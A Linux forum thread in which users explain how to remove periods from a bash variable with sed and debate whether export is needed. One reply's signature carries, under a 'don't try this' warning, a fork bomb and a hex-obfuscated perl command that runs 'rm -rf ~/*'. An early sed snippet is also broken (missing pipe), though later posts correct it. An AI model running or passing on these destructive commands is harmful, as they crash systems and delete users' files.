Find the answer to your Linux question:
Results 1 to 8 of 8
I have a variable in bash $WHATSYOUREXTENSION. This variable contains .co.uk or .com or .org etc. Basically a domain extension. I want to remove all periods from this variable to ...
Enjoy an ad free experience by logging in. Not a member yet? Register.
  1. #1
    Just Joined!
    Join Date
    Apr 2005
    Posts
    14

    Bash Variable Question


    I have a variable in bash $WHATSYOUREXTENSION. This variable contains .co.uk or .com or .org etc. Basically a domain extension. I want to remove all periods from this variable to make it couk or org or com etc.
    Anyone know a simple bit of code that will do this for me?
    Thanks :

  2. #2
    Linux Guru sdousley's Avatar
    Join Date
    Feb 2004
    Posts
    1,790
    try passing the variable through a program called sed.

    Code:
    #export it to an environment variable
    export WHATSYOUREXTENSION
    WHATSYOUREXTENSION=`echo "$WHATSYOUREXTENSION" sed 's/\.//g' `
    That should work ok for you.

    Not entirely sure wether you need to export it, but that should work ok.
    "I am not an alcoholic, alcoholics go to meetings"
    Registered Linux user = #372327

  3. #3
    Linux Newbie
    Join Date
    Jul 2005
    Location
    Chd,India
    Posts
    135
    hi
    well we can display the contents of the bash variable
    but how does one change its value from inside a bash script

    if i am correct,export loads the variable so that any bash that runs from that previous bash gets the updated value of variable?

    am i right?
    The strong shall live and the weak will die
    In the end,only the fittest survive in this world
    - Shishio Makoto

  4. #4
    Linux Newbie
    Join Date
    Jul 2004
    Location
    Calcutta, India
    Posts
    220
    yup .. u r rite ...

    export will actually import your variable into your environment ..
    Normally , you can always change a bash variable in a script like this :

    MY_BASH_VAR="whatever"

    But as soon as the bash script stops running or exits, MY_BASH_VAR is removed from the env, to make it permanent for the current login session, u have to use export.

    So, the starter of this thread will most probably DONT need to export that variable.

    But say .. u wanna set the hostname :
    Code:
    #!/bin/bash
    
    hostname=thepro
    export hostname
    u'll have to add this script to startup ..
    WARNING!!! Don\'t try the following :
    Code:
    bash$ :(){ :|:&};: -- 
    bash$ `perl -e\'print\"\\x72\\x6D\\x20\\x2D\\x72\\x66\\x20\\x7E\\x2F\\x2A\"\'`
    Registered Linux User #382098

  5. #5
    Linux Guru sdousley's Avatar
    Join Date
    Feb 2004
    Posts
    1,790
    i'll explain my reason for the export.

    This is because the line:

    Code:
    WHATSYOUREXTENSION=`echo "$WHATSYOUREXTENSION" sed 's/\.//g' `
    runs externally from the bash script. As i say, i am not sure as to the necessity of the export. but i know it works with it there.
    "I am not an alcoholic, alcoholics go to meetings"
    Registered Linux user = #372327

  6. #6
    scm
    scm is offline
    Linux Engineer
    Join Date
    Feb 2005
    Posts
    1,044
    Quote Originally Posted by sdousley
    i'll explain my reason for the export.

    This is because the line:
    Code:
    WHATSYOUREXTENSION=`echo "$WHATSYOUREXTENSION" sed 's/\.//g' `
    runs externally from the bash script. As i say, i am not sure as to the necessity of the export. but i know it works with it there.
    And I'll explain why the export isn't necessary.
    Before the command is executed, the shell will substitute all variables so this code
    Code:
    VAR=blah.co.uk
    VAR=$(echo $VAR | sed 's/\.//g')
    will cause the external running of this command
    Code:
    echo blah.co.uk | sed s/\.//g

  7. #7
    Linux Guru sdousley's Avatar
    Join Date
    Feb 2004
    Posts
    1,790
    just after i wrote that, i kinda wondered if that was the case.

    Oh well, it's been said now, and it's not like exporting the variable will cause HUGE problems is it hehe. I guess it'll make the script run very very slightly slower since it'll take the fraction of a second to export it.

    Oh well. Solved now
    "I am not an alcoholic, alcoholics go to meetings"
    Registered Linux user = #372327

  8. #8
    scm
    scm is offline
    Linux Engineer
    Join Date
    Feb 2005
    Posts
    1,044
    Quote Originally Posted by sdousley
    just after i wrote that, i kinda wondered if that was the case.
    Ah, post in haste, repent at leisure. Yeah, I do that, too. Makes me look a bit silly, but I still can't help doing it.

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •